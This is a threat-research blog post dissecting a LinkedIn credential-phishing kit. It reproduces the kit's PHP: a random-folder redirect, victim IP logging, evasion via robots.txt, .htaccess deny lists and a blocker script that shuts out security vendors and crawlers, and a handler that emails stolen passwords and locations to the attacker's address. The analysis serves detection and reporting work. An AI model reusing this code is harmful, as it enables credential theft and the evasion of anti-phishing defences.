Phishing findings, campaign #2: content.zip (LinkedIn)

I started hunting and reporting phishing websites on Twitter: follow me here if you are interested! In this series of posts I am going to analyze and discuss some of the phishing kits found online.

Let’s start from the beginning

The kit was created to steal LinkedIn credentials:

How this phishing kit looks like when deployed

How this phishing kit looks like when deployed

At a first look, we can notice some characteristics of this page which makes it different from the usual fake login:

  • the message at the top: “Send Your Product quotes to interested buyers via LinkedIn”
  • the two input fields for the password (and the missing ‘Forgot password?' link)
  • the message under the Continue button: “By clicking Continue you proceed to send your business catalogues and quotes”

So this page is not targeting the usual LinkedIn user: it is pretending to provide a feature to send catalogues and quotes using the social network.

Let’s now check the zip of this kit on VirusTotal, using sha256sum:

$ sha256sum content.zip
e34795a90e1196e5b415ee7386d75474dfc8bcdb4653dcf7b83551a8497e257b  content.zip
VirusTotal detections for the zip of this phishing kit

VirusTotal detections for the zip of this phishing kit

Explore the kit

If we extract the archive, we will see the following structure:

$ tree -a content
content
├── blocker.php
├── .htaccess
├── index.php
├── Linkedin
│   ├── geoplugin.class.php
│   ├── index.php
│   └── loginss.php
├── robots.txt
└── vu.txt

1 directory, 7 files

This kit is simpler than the one analyzed in the previous post, and it contains only the LinkedIn template. The presence of a txt file (vu.txt) usually indicates that the kit is logging information about victims or visitors. It is also interesting to note that a .htaccess and robots.txt files are shipped with the kit itself.

Entry point

So we can start our analysis from the entry point (index.php), here are the first lines:

<?php
$emai = $_GET['user'];
include('blocker.php');
$DIR=md5(rand(0,100000000000));
function recurse_copy($home,$DIR) {
    $dir = opendir($home);
    @mkdir($DIR);
    while(false !== ( $file = readdir($dir)) ) {
	    if (( $file != '.' ) && ( $file != '..' )) {
		    if ( is_dir($home . '/' . $file) ) {
			    recurse_copy($home . '/' . $file,$DIR . '/' . $file);
		    } else {
			    copy($home . '/' . $file,$DIR . '/' . $file);
		    }
	    }
    }
    closedir($dir);
}
$home="Linkedin";
recurse_copy( $home, $DIR );

We will take a look at blocker.php in the next paragraph, for now, let’s just say that it is included, and let’s focus on the following lines. A new directory is created using @mkdir, and it has a name obtained from the md5 hash of a random number: this means that a new folder will be created every time index.php is reached. The files included in the ‘Linkedin’ folder are then copied in this newly created folder using the recurse_copy function.

Let’s continue with the definition of a header:

<?php
header("location:$DIR?user=$emai&.verify?service=mail&data:text/html;charset=utf-8;base64,
PGh0bWw+DQo8c3R5bGU+IGJvZHkgeyBtYXJnaW46IDA7IG92ZXJmbG93OiBoaWRkZW47IH0gPC9zdHlsZT4NCiAgPGlmcmFt");

Some parameters are specified for a redirection: location is equal to the newly created folder, user equal to $_GET['user'] (it will be used to automatically fill the email address in the fake LinkedIn form) and service is set to mail. This header also includes a base64 string which can easily be decoded:

$ echo 'PGh0bWw+DQo8c3R5bGU+IGJvZHkgeyBtYXJnaW46IDA7IG92ZXJmbG93OiBoaWRkZW47IH0gPC9zdHlsZT4NCiAgPGlmcmFt' | base64 -d
<html>
<style> body { margin: 0; overflow: hidden; } </style>
  <ifram%

To be honest, I didn’t really get the point of encoding some HTML code in base64 and place it in the header, ping me if you have any idea.

Anyway, here is the rest of index.php:

<?php
$ip = getenv("REMOTE_ADDR");
$file = fopen("vu.txt","a");
fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");

Where the IP address of the victim is appended to vu.txt with a timestamp. As we saw while checking the structure of the kit, vu.txt is not created while executing these lines. If we check the content of the file before running index.php, it contains:

127.0.0.1  -  2017-8-14 @ 20:49:14
127.0.0.1  -  2017-8-14 @ 20:49:48

These information were probably left by the developer of the kit; and gives us an idea about when the kit was created/released.

Hiding techniques

Many phishing kits try to hide themselves from bots or web sandbox. In this case, the kit uses 3 techniques:

  1. robots.txt
  2. .htaccess
  3. blocker.php

robots.txt

This file is used by web developers to give information to web crawlers about the structure of the site. In this case:

User-agent: *
Disallow: /

specifies that every crawler (no matter the User-Agent string) should not navigate in the site. This is commonly used to avoid being indexed by search engines.

.htaccess

.htaccess is a configuration file for Apache Web servers. It can be used to alter the settings, configurations and functionalities of Apache Web servers. In the case of this kit, the file is used to deny access to specific subnets and bots.

The .htaccess provided in the kit can be dived in two main parts. The first one uses deny from with a long list of subnets and domain names (almost 6000). Here are some lines:

[..]
deny from 66.235.132.121/22
deny from 66.235.133.14/22
[...]
deny from google.com
deny from paypal.com
[..]

Blocked visitors will be shown the error message 403 Forbidden. At the end of this part of the file, allow from all is used to allow access to all the other subnets.

The second part is used to block bots, and it uses the following syntax:

[..]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
[..]

This part of the file embedded is pasted from an example provided in a tutorial called Blocking offline browsers and ‘bad bots’.

blocker.php

Similarly to the previous files, blocker.php is used to prevent some hosts to access the site. It is included in the entry point of the kit and it contains:

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank",
    "dreamhost","netpilot","calyxinstitute","tor-exit", "paypal");
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
    header("HTTP/1.0 404 Not Found");
        die("<h1>404 Not Found</h1>The page that you have requested could not be found.");

    }
}
$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*"...);
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
     header('HTTP/1.0 404 Not Found');
     exit();
} else {
     foreach($bannedIP as $ip) {
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
               header('HTTP/1.0 404 Not Found');
               die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
          }
     }
}

if(strpos($_SERVER['HTTP_USER_AGENT'], 'google') or strpos($_SERVER['HTTP_USER_AGENT'], 'msnbot')
    or strpos($_SERVER['HTTP_USER_AGENT'], 'Yahoo! Slurp') or [...] ) !== false) { header('HTTP/1.0 404 Not Found'); exit; }

As seen in the code, the access is granted only if hostname, IP address and User-Agent string of the client are not included in a list of harcoded values. A 404 Not Found error is shown otherwise.

Note that many of the hardcoded values contained in bannedIP and in the User-Agent check were omitted from the lines above to make the code more readable.

The phishing page

We already saw that index.php redirects the client into the folder with a random name: this contains the same files of the LinkedIn folder found in the kit. The purpose of this trick is to have a different URL for every execution of index.php.

I didn’t find an online instance of the kit, but we can use php to run it locally:

php -S localhost:8000

If we go to localhost:8000, the connection will be redirected to a page similar to this:

Local deployment of this phishing kit

Local deployment of this phishing kit

You can see that the URL contains the random md5 string obtained in index.php.

Let’s take a look at the PHP code of the phishing page:

<?php
$emai = $_GET['user'];
$IP = $_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$IP;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL));
$city = $addrDetailsArr['geoplugin_city'];
$country = $addrDetailsArr['geoplugin_countryName'];

if(!$city){
   $city='Not Define';
}
if(!$country){
   $country='Not Define';
}

In this first part, the IP address and the location information of the client are gathered. Again, we see the use of geoplugin (and again, with the old address geoplugin.net) in order to infer the city and the country from the IP address.

<?php
if($_POST && isset($_POST['email'], $_POST['pass'])){
    $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
    $email_to = "simon@wmbrep.biz";
    $email_subject = "Linked";
    $email_from = "simon-walter";
    $email = $_POST['email'];
    $pass = $_POST['pass'];
    $cpass = $_POST['cpass'];
    $email_message .= "Email: ".($email).   " \n";
    $email_message .= "Password: ".($pass).   " \n";
    $email_message .= "IP: ".($ip).   " \n";
    $email_message .= "Country: ".($country).   " \n";
    $email_message .= "City: ".($city).   " \n";
    $headers = 'From: '.$email_from."\r\n";

This part of the code defines the options for sending the email. We can see the exfiltration email where all the stolen credentials will be sent (simon@wmbrep.biz), the header of email_from containing simon-walter as well as the subject (Linked) and the message of the email, which - as expected - contains the email address, password, IP address, country and city of the victim.

<?php
    if(!$email) {
        $emailErr = "Please enter your  Email";
    } elseif(!$email || !preg_match("/^\S+@\S+$/", $email)) {
        $emailErr = "Please enter a valid Email";
    } elseif(!$pass) {
        $passErr = "Password is required";
    } elseif($pass != $cpass){
        $cpassErr = "Both Passwords Must Match";
    } else {
        $gotten = "Login Error,Wrong Email or Password, Try Again";
        mail($email_to, $email_subject, $email_message, $headers);
    }
}?>

In these last lines, the string contained in the email address input field is checked against a regular expression to determine if it is a valid email address; an error message is shown otherwise. There are also two additional checks for the password (if the password is entered and if it is the same in the Password input field and in the Confirm Password one). The email is then sent as usual with the PHP function mail().

Conclusion

In this post we analyzed content.zip: a phishing kit which tricks victims into giving their LinkedIn credentials and pretends to provide a feature to ‘send your business catalogues and quotes via LinkedIn’.

While the exfiltration method used is somehow similar to the one we saw in the first episode of this series, this analysis provides interesting findings, especially with the ‘hiding techniques’ used with: robots.txt, .htaccess and blocker.php.

Even if the phishing page is always the same, the kit puts it in a new URL at every new visit; so that every victim will have a different URL. The kit also provides logging capabilities for IP address of the victims in vu.txt.